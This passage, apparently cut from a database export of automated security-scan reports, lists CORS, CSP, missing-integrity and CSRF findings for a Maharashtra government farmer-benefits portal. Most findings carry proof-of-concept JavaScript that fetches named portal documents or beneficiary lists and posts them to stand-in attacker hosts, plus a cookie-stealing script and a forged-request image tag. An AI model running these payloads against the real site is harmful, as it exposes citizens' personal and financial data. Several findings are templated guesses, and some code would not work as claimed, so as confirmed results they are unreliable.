xhr.responseText\n        });\n    }\n};\nxhr.send();\n```\n\nIf the server responds with matching CORS headers, the browser treats the interaction as legitimate, enabling silent exfiltration of the document.\n\n**Business Impact**\nCompromise of national food security-related documents may expose crop distribution plans, subsidy allocations, and farmer records—information that adversaries might exploit for economic sabotage or political manipulation.\n\n---\n\n### Cross-Domain Misconfiguration / mahadbt.maharashtra.gov.in / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BirsaMundaKrishiKrantiYojana(TribalSubPlan-OutsideTribalSubPlan).pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BirsaMundaKrishiKrantiYojana(TribalSubPlan-OutsideTribalSubPlan).pdf |\n\n**Description**\nThis PDF file is accessible via a misconfigured CORS setup that fails to restrict cross-origin access appropriately. The server likely sets `Access-Control-Allow-Origin` to either all origins or echoes the requester’s origin without verification.\n\nSuch flaws reduce the effectiveness of browser-enforced security boundaries, increasing exposure of tribal-focused agricultural development documents.\n\n**Attack Scenario (Proof of Concept)**\nA malicious site uses the following embedded script:\n\n```html\n<script>\nasync function downloadAndSend(url) {\n    const res = await fetch(url, { credentials: 'include' });\n    const blob = await res.blob();\n    const formData = new FormData();\n    formData.append('file', blob, 'document.pdf');\n\n    await fetch('http://malicious-endpoint.com/receive', {\n        method: 'POST',\n        body: formData\n    });\n}\n\ndownloadAndSend('https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-BirsaMundaKrishiKrantiYojana(TribalSubPlan-OutsideTribalSubPlan).pdf');\n</script>\n```\n\nIf successful, the attacker receives a copy of the document containing tribal sub-plan details.\n\n**Business Impact**\nUnauthorized access to tribal empowerment scheme documents threatens community-specific developmental goals and exposes beneficiaries to exploitation. It also jeopardizes the integrity of affirmative action policies implemented by the state.\n\n---\n\n### Cross-Domain Misconfiguration / mahadbt.maharashtra.gov.in / https://mahadbt.maharashtra.gov.in/PDF/34.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/34.pdf |\n\n**Description**\nThis generic PDF path exhibits a CORS misconfiguration, indicating that the server lacks proper control over which domains can access its content. Common causes include wildcard origins or dynamic reflection of the `Origin` header value.\n\nThis weakness allows malicious sites to programmatically retrieve and analyze the document, bypassing intended access controls.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker crafts a simple exploit:\n\n```javascript\nconst link = 'https://mahadbt.maharashtra.gov.in/PDF/34.pdf';\n\nfetch(link, { mode: 'cors', credentials: 'include' })\n  .then(response => response.arrayBuffer())\n  .then(buffer => {\n    const uint8Array = new Uint8Array(buffer);\n    const base64String = btoa(String.fromCharCode(...uint8Array));\n    fetch('http://attacker.com/upload', {\n      method: 'POST',\n      body: JSON.stringify({ data: base64String })\n    });\n  });\n```\n\nIf the server returns correct CORS headers, the browser processes the request successfully, uploading the binary content to the attacker-controlled endpoint.\n\n**Business Impact**\nExposure of administrative or procedural documents stored generically under `/PDF/` paths may reveal operational strategies or internal workflows, posing risks to governance efficiency and public trust.\n\n---\n\n### Cross-Domain Misconfiguration / mahadbt.maharashtra.gov.in / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-MIDH.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-MIDH.pdf |\n\n**Description**\nThe server serving this MIDH (Mission for Integrated Development of Horticulture) scheme document has a misconfigured CORS policy. Typically, this involves setting `Access-Control-Allow-Origin` to `*` or echoing the `Origin` header from the client request.\n\nThis misstep compromises the principle of origin-based resource protection, enabling unauthorized third parties to access the document programmatically.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker hosts the following script on a remote domain:\n\n```javascript\nvar oReq = new XMLHttpRequest();\noReq.open(\"GET\", \"https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-MIDH.pdf\", true);\noReq.withCredentials = true;\noReq.onload = function(oEvent) {\n  var arrayBuffer = oReq.response;\n  var byteArray = new Uint8Array(arrayBuffer);\n  var binaryString = '';\n  for (var i = 0; i < byteArray.byteLength; i++) {\n    binaryString += String.fromCharCode(byteArray[i]);\n  }\n  var base64 = btoa(binaryString);\n  fetch('http://malicious-server.com/upload', {\n    method: 'POST',\n    body: JSON.stringify({content: base64})\n  });\n};\noReq.responseType = \"arraybuffer\";\noReq.send();\n```\n\nIf the server responds with appropriate CORS headers, the browser allows execution of the above logic, resulting in unauthorized document exfiltration.\n\n**Business Impact**\nLoss of control over horticultural development scheme documentation can lead to misinformation campaigns, misuse of subsidies, and erosion of stakeholder confidence in digital public services.\n\n---\n\n### Cross-Domain Misconfiguration / mahadbt.maharashtra.gov.in / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-NFSM.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-NFSM.pdf |\n\n**Description**\nThis NFSM (National Food Security Mission) scheme document is accessible due to a CORS misconfiguration. The server improperly handles cross-origin requests, possibly by returning `Access-Control-Allow-Origin: *` or reflecting the `Origin` header.\n\nThis misbehavior undermines browser-level protections designed to prevent unauthorized data access across origins.\n\n**Attack Scenario (Proof of Concept)**\nExploitation via JavaScript:\n\n```javascript\nfetch('https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-NFSM.pdf', {\n  credentials: 'include'\n}).then(response => response.blob()).then(blob => {\n  const reader = new FileReader();\n  reader.onloadend = () => {\n    fetch('http://evil.com/upload', {\n      method","summary":{"total":2520}},"summary":{"total":2520}},{"_id":{"$oid":"6a270323cea49cbc1293728c"},"created_at":{"$date":"2026-06-08T18:00:03.193Z"},"url":"https://mahadbt.maharashtra.gov.in/","tool":"generate_web_vulnerability_report","result":{"url":"https://mahadbt.maharashtra.gov.in/","category":"web_vulnerability","timestamp":"2026-06-08T18:00:03.186247+00:00","report":"# Web Vulnerabilities Tier 1 & 2 Findings\n\n## Critical Findings\n\nNo critical findings were identified in this assessment.\n\n## High Findings\n\nNo high findings were identified in this assessment.\n\n## Medium Findings\n\n### Sub Resource Integrity Attribute Missing / https://mahadbt.maharashtra.gov.in/Home/Index / https://mahadbt.maharashtra.gov.in/Home/Index\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Home/Index |\n\n**Description**\n\nThe Subresource Integrity (SRI) mechanism allows web developers to ensure that resources fetched from third-party origins have not been tampered with. This is achieved by specifying an `integrity` attribute on `<script>` or `<link>` tags referencing external scripts or stylesheets. When SRI is missing, there is no verification of the resource’s authenticity before execution, leaving the application vulnerable to supply chain attacks if the CDN or external host is compromised.\n\nIn this instance, at least one script or stylesheet loaded from an external domain lacks the required `integrity` attribute, which means that any modification made to the file by a malicious actor controlling the external server will go undetected by the browser.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker compromises the CDN hosting a JavaScript library used by the portal. Since the script does not include an `integrity` hash, the browser loads and executes the modified version without validation.\n\nExample vulnerable code snippet:\n```html\n<script src=\"https://cdn.example.com/library.js\"></script>\n```\n\nIf instead it had included SRI:\n```html\n<script src=\"https://cdn.example.com/library.js\" integrity=\"sha384-abc123...\" crossorigin=\"anonymous\"></script>\n```\nThen the browser would reject any altered script.\n\nThis absence enables attackers to inject arbitrary client-side logic into users' sessions—potentially leading to credential theft, session hijacking, or redirection to phishing pages.\n\n**Business Impact**\n\nWithout SRI enforcement, the organization exposes itself to potential compromise through third-party dependencies. A successful exploitation could lead to unauthorized access to sensitive user data, manipulation of UI elements, or even full account takeovers. Additionally, such vulnerabilities erode public trust in digital government services, especially critical in platforms handling citizen benefits like DBT portals.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/Login/FundDisbursedReport / https://mahadbt.maharashtra.gov.in/Farmer/Login/FundDisbursedReport\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/FundDisbursedReport |\n\n**Description**\n\nCross-Origin Resource Sharing (CORS) policies control how web applications interact across different domains. Improperly configured CORS headers can expose endpoints to unintended cross-domain requests, potentially enabling malicious websites to read protected data or perform actions on behalf of authenticated users.\n\nHere, the server returns permissive CORS headers (e.g., `Access-Control-Allow-Origin: *`) for this endpoint, allowing any origin to make requests and receive responses containing sensitive information.\n\n**Attack Scenario (Proof of Concept)**\n\nA malicious website hosted at `http://evil.com` includes the following JavaScript:\n```javascript\nfetch('https://mahadbt.maharashtra.gov.in/Farmer/Login/FundDisbursedReport', {\n  credentials: 'include'\n})\n.then(response => response.text())\n.then(data => {\n  // Exfiltrate data\n  fetch('http://evil.com/log', { method: 'POST', body: data });\n});\n```\n\nBecause the server responds with `Access-Control-Allow-Origin: *`, the browser permits the request and shares the response with the attacker-controlled site, exposing confidential fund disbursal reports.\n\n**Business Impact**\n\nImproper CORS configuration increases the risk of data leakage and abuse of authenticated sessions. In the context of a Direct Benefit Transfer system, this could result in exposure of financial records, personal identification details, and other sensitive farmer-related data, violating privacy laws and undermining public confidence in welfare delivery mechanisms.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/PDF/Aaple%20Sarkar%20DBT%20Portal%20Help%20file.pdf / https://mahadbt.maharashtra.gov.in/PDF/Aaple%20Sarkar%20DBT%20Portal%20Help%20file.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/Aaple%20Sarkar%20DBT%20Portal%20Help%20file.pdf |\n\n**Description**\n\nPDF documents served over HTTPS should ideally restrict cross-origin access unless explicitly intended for embedding or programmatic consumption. Permissive CORS settings on static assets like PDFs can enable attackers to load these files in contexts where they shouldn't be accessible, possibly revealing internal documentation or process flows.\n\nIn this case, the PDF help document is returned with overly broad CORS permissions, making it accessible via XMLHttpRequest or Fetch API from any domain.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker creates a webpage that uses JavaScript to fetch the PDF:\n```javascript\nfetch('https://mahadbt.maharashtra.gov.in/PDF/Aaple%20Sarkar%20DBT%20Portal%20Help%20file.pdf')\n  .then(response => response.blob())\n  .then(blob => {\n    const url = URL.createObjectURL(blob);\n    window.open(url); // Opens the PDF in new tab\n  });\n```\n\nDue to improper CORS configuration (`Access-Control-Allow-Origin: *`), the browser allows this operation, bypassing expected restrictions.\n\n**Business Impact**\n\nAllowing unrestricted access to internal documents can expose operational procedures, administrative workflows, or contact points useful for social engineering. It also violates principles of least privilege and may contravene data governance standards applicable to state-run systems.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-SubMissionOnFarmMechanization.pdf / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-SubMissionOnFarmMechanization.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-SubMissionOnFarmMechanization.pdf |\n\n**Description**\n\nSimilar to previous findings, this PDF file is exposed with permissive CORS headers, allowing untrusted origins to programmatically retrieve its contents. While seemingly innocuous, such documents often contain structured metadata or embedded links that could aid reconnaissance efforts during targeted attacks.\n\n**Attack Scenario (Proof of Concept)**\n\nUsing a simple XMLHttpRequest:\n```javascript\nvar xhr = new XMLHttpRequest();\nxhr.open(\"GET\", \"https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-SubMissionOnFarmMechanization.pdf\");\nxhr.responseType = \"arraybuffer\";\nxhr.onload = function() {\n  var bytes = new Uint8Array(xhr.response);\n  console.log(bytes.slice(0, 100)); // Log first 100 bytes\n};\nxhr.send();\n```\n\nWith permissive CORS, the browser allows this request and delivers the binary content to the attacker's script.\n\n**Business Impact**\n\nExposing scheme-specific documents externally without proper controls risks leaking strategic agricultural policy insights or implementation guidelines. Attackers might use this information to craft more convincing phishing campaigns or exploit gaps in understanding among end-users.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSNonAadhaarProfileList / https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSNonAadhaarProfileList\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSNonAadhaarProfileList |\n\n**Description**\n\nThis endpoint likely serves lists of beneficiaries or applicants who do not have Aadhaar-linked profiles. If improperly secured with loose CORS rules, it becomes susceptible to unauthorized access from third-party sites, increasing the likelihood of data harvesting or impersonation attempts.\n\n**Attack Scenario (Proof of Concept)**\n\nMalicious site performs:\n```javascript\nfetch(\"https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSNonAadhaarProfileList\")\n  .then(res => res.json())\n  .then(data => {\n    // Send data back to attacker-controlled server\n    navigator.sendBeacon(\"https://attacker.com/log\", JSON.stringify(data));\n  });\n```\n\nPermissive CORS headers permit this interaction, granting access to personally identifiable information (PII).\n\n**Business Impact**\n\nUnauthorized access to beneficiary lists undermines both individual privacy and systemic integrity. It opens avenues for identity fraud, misuse of subsidies, and erosion of trust in the transparency of benefit allocation processes.\n\n---\n\n### Sub Resource Integrity Attribute Missing / https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSSelectedListReport / https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSSelectedListReport\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSSelectedListReport |\n\n**Description**\n\nAs previously described, lack of SRI protection leaves externally-hosted scripts open to tampering. On this page, a script sourced from an external CDN or domain is missing the `integrity` attribute, creating a vector for supply-chain-based client-side attacks.\n\n**Attack Scenario (Proof of Concept)**\n\nAssuming the following insecure inclusion:\n```html\n<script src=\"https://external-cdn.com/report-loader.js\"></script>\n```\n\nAn attacker modifies `report-loader.js` on the CDN. Without SRI, the browser executes the altered script, potentially logging keystrokes or exfiltrating session tokens.\n\n**Business Impact**\n\nCompromise of frontend behavior through manipulated libraries poses significant threats to user confidentiality and authentication security. Given the sensitivity of selection lists in welfare schemes, this vulnerability could facilitate targeted scams or broader infiltration of the ecosystem.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/PDF/24.pdf / https://mahadbt.maharashtra.gov.in/PDF/24.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/24.pdf |\n\n**Description**\n\nThis PDF document is accessible with permissive CORS settings, enabling cross-origin retrieval by any website. Such exposure may inadvertently reveal internal communications, procedural notes, or planning documents relevant to ongoing initiatives.\n\n**Attack Scenario (Proof of Concept)**\n\nJavaScript code on a remote site retrieves the PDF:\n```javascript\nfetch('https://mahadbt.maharashtra.gov.in/PDF/24.pdf')\n  .then(response => response.arrayBuffer())\n  .then(buffer => {\n    // Process buffer or forward to attacker backend\n  });\n```\n\nThe browser complies due to permissive CORS, facilitating unauthorized access.\n\n**Business Impact**\n\nUncontrolled dissemination of official documents weakens institutional secrecy and exposes decision-making artifacts to scrutiny beyond intended audiences. This can fuel misinformation or provide adversaries with actionable intelligence about project timelines or stakeholder roles.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Aaple_Sarkar_DBT_Portal_User_Manual.pdf / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Aaple_Sarkar_DBT_Portal_User_Manual.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Aaple_Sarkar_DBT_Portal_User_Manual.pdf |\n\n**Description**\n\nUser manuals typically outline functional capabilities, interface behaviors, and sometimes error-handling patterns. Making such documents publicly available with relaxed CORS policies invites reverse-engineering opportunities that adversaries can leverage to refine attack vectors.\n\n**Attack Scenario (Proof of Concept)**\n\nAttacker downloads the manual using:\n```javascript\nconst pdfUrl = 'https://mahadbt.maharashtra.gov.in/Farmer/PDF/Aaple_Sarkar_DBT_Portal_User_Manual.pdf';\nfetch(pdfUrl).then(r => r.blob()).then(b => {\n  const u = URL.createObjectURL(b);\n  window.open(u);\n});\n```\n\nPermissive CORS ensures success, giving attackers insight into portal design and usage instructions.\n\n**Business Impact**\n\nPublic availability of user guides under permissive CORS conditions enhances adversary situational awareness, reducing the effectiveness of obscurity-based defenses and increasing the precision of future attacks targeting specific features or workflows.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/PDF/1.pdf / https://mahadbt.maharashtra.gov.in/PDF/1.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/1.pdf |\n\n**Description**\n\nEven generic-named PDFs like “1.pdf” can carry meaningful content when part of a larger repository. Loose CORS configurations here allow automated scraping tools to harvest all such documents indiscriminately.\n\n**Attack Scenario (Proof of Concept)**\n\nAutomated crawler accesses multiple documents:\n```javascript\n['1.pdf','2.pdf','3.pdf'].forEach(f => {\n  fetch(`https://mahadbt.maharashtra.gov.in/PDF/${f}`)\n    .then(r => r.blob())\n    .then(b => saveAs(b, f)); // Using FileSaver.js\n});\n```\n\nEach request succeeds due to permissive CORS, enabling bulk collection of potentially sensitive materials.\n\n**Business Impact**\n\nMass harvesting of unsecured documents can uncover hidden datasets, outdated procedures, or deprecated interfaces still active in production environments. This expands the attack surface unnecessarily and complicates incident response efforts.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/PDF/16.pdf / https://mahadbt.maharashtra.gov.in/PDF/16.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/16.pdf |\n\n**Description**\n\nAnother PDF file exposed with overly permissive CORS settings, contributing to the overall pattern of insecure document serving practices. Each additional exposed asset multiplies the risk of accidental disclosure.\n\n**Attack Scenario (Proof of Concept)**\n\nSame as earlier examples involving PDF retrieval via JavaScript:\n```javascript\nfetch('https://mahadbt.maharashtra.gov.in/PDF/16.pdf').then(...);\n```\n\n**Business Impact**\n\nRepeated instances of misconfigured CORS headers indicate systemic issues in asset management and deployment pipelines. They collectively increase the probability of discovering exploitable flaws or insider knowledge inadvertently published online.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/PDF/8.pdf / https://mahadbt.maharashtra.gov.in/PDF/8.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/8.pdf |\n\n**Description**\n\nYet another PDF file lacking appropriate CORS restrictions, reinforcing the observation that many static assets are being served insecurely. These files may contain metadata, annotations, or embedded hyperlinks that offer further reconnaissance value.\n\n**Attack Scenario (Proof of Concept)**\n\nStandard cross-origin fetch:\n```javascript\nfetch('https://mahadbt.maharashtra.gov.in/PDF/8.pdf').then(...);\n```\n\n**Business Impact**\n\nPersistent misconfigurations suggest inadequate review cycles or insufficient automation in enforcing secure defaults. Over time, this leads to accumulation of vulnerabilities that compound organizational risk and complicate remediation efforts.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Technical%20education.pdf / https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Technical%20education.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Technical%20education.pdf |\n\n**Description**\n\nCitizen charters define service expectations and commitments. Their unrestricted accessibility via CORS may signal poor governance around publishing protocols and raises questions about whether similar documents elsewhere are equally exposed.\n\n**Attack Scenario (Proof of Concept)**\n\nJavaScript-based download:\n```javascript\nfetch('https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Technical%20education.pdf')\n  .then(r => r.blob())\n  .then(b => /* process */);\n```\n\n**Business Impact**\n\nLeaking charter documents can undermine accountability frameworks and dilute the perceived reliability of stated service levels. It also provides adversaries with benchmarks for evaluating actual versus promised performance metrics.\n\n---\n\n### CSP: Failure to Define Directive with No Fallback / https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser / https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser |\n\n**Description**\n\nContent Security Policy (CSP) acts as a defense-in-depth measure against XSS and related injection attacks. However, omitting essential directives like `default-src` or `connect-src` effectively nullifies protections by defaulting to `*` (allow-all) behavior.\n\nIn this case, the CSP header omits key directives that have no implicit fallback, meaning those categories of content are implicitly allowed from anywhere—an insecure posture.\n\n**Attack Scenario (Proof of Concept)**\n\nSuppose the CSP header looks like:\n```\nContent-Security-Policy: script-src 'self'; style-src 'self'\n```\n\nMissing `connect-src`, `img-src`, etc., implies that connections to external APIs or image sources are unrestricted. An attacker injects:\n```html\n<img src=\"https://evil.com/log?data=stolen\">\n```\n\nSince `img-src` isn’t defined, the browser loads the image, exfiltrating data.\n\n**Business Impact**\n\nIncomplete CSP implementations reduce the efficacy of XSS mitigations and leave applications vulnerable to various forms of content injection. This particularly affects login or registration flows where user input is processed dynamically.\n\n---\n\n### CSP: script-src unsafe-inline / https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser / https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser |\n\n**Description**\n\nIncluding `'unsafe-inline'` in the `script-src` directive disables inline script blocking—a core feature of CSP designed to prevent reflected or stored XSS. Inline scripts cannot be hashed or whitelisted easily, so their presence significantly weakens the policy.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker injects:\n```html\n<script>alert(document.cookie)</script>\n```\n\nBecause the CSP allows `'unsafe-inline'`, the browser executes the injected script, stealing cookies or performing unwanted actions.\n\n**Business Impact**\n\nUse of `'unsafe-inline'` negates much of CSP’s protective power, rendering the entire policy less effective than a basic XSS filter. This is especially dangerous in authentication flows where session tokens are at stake.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser / https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser |\n\n**Description**\n\nThis endpoint appears to handle user enrollment decisions. Improper CORS setup allows third-party domains to issue requests and observe responses, potentially enabling session replay or enumeration attacks.\n\n**Attack Scenario (Proof of Concept)**\n\nAttacker crafts a form submission from a rogue site:\n```html\n<form action=\"https://mahadbt.maharashtra.gov.in/NSAP/NewOrExistingUser/NewOrExistingUser\" method=\"POST\">\n  <input type=\"hidden\" name=\"userId\" value=\"victim@example.com\">\n  <button type=\"submit\">Submit</button>\n</form>\n```\n\nCombined with permissive CORS, this could trigger unintended side effects or leak confirmation messages.\n\n**Business Impact**\n\nMisconfigured CORS on enrollment endpoints can disrupt user onboarding, facilitate brute-force enumeration of registered accounts, or expose internal processing logic to external scrutiny.\n\n---\n\n### Absence of Anti-CSRF Tokens / https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus / https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus |\n\n**Description**\n\nCross-Site Request Forgery (CSRF) occurs when an attacker tricks a victim into submitting a forged request to a trusted site while authenticated. Lack of anti-CSRF tokens makes this endpoint vulnerable to such manipulations.\n\n**Attack Scenario (Proof of Concept)**\n\nVictim visits attacker-controlled site:\n```html\n<img src=\"https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus?appId=12345&status=approved\" />\n```\n\nIf the endpoint accepts GET parameters for state changes and lacks CSRF protection, the browser automatically sends the user’s session cookie along with the forged request, causing unintended updates.\n\n**Business Impact**\n\nCSRF vulnerabilities can lead to unauthorized modifications of application statuses, denial-of-service conditions, or escalation of privileges. In a welfare tracking system, this could result in false approvals or rejections affecting real beneficiaries.\n\n---\n\n### CSP: Failure to Define Directive with No Fallback / https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus / https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus |\n\n**Description**\n\nAs discussed earlier, incomplete CSP directives create implicit allow-all rules for undefined categories. Here, missing directives leave several content types unprotected despite having some CSP coverage.\n\n**Attack Scenario (Proof of Concept)**\n\nGiven a partial CSP:\n```\nContent-Security-Policy: script-src 'self'\n```\n\nAn attacker injects:\n```html\n<object data=\"https://evil.com/plugin.swf\"></object>\n```\n\nBecause `object-src` is undefined, the Flash object loads successfully, executing malicious SWF content.\n\n**Business Impact**\n\nPartial CSP enforcement gives a false sense of security. Applications relying on incomplete policies remain vulnerable to content injection attacks that fall outside narrowly scoped directives.\n\n---\n\n### CSP: script-src unsafe-inline / https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus / https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus |\n\n**Description**\n\nUse of `'unsafe-inline'` in the `script-src` directive disables one of CSP’s most powerful XSS prevention mechanisms. Any inline script, regardless of source, gets executed, nullifying the purpose of the policy.\n\n**Attack Scenario (Proof of Concept)**\n\nInjected payload:\n```html\n<script>document.location='http://attacker.com/?c='+document.cookie;</script>\n```\n\nDespite CSP presence, the browser runs the script because `'unsafe-inline'` is enabled.\n\n**Business Impact**\n\nEnabling `'unsafe-inline'` renders CSP largely ineffective against XSS. This is particularly concerning in authenticated areas like application tracking, where session tokens are valuable 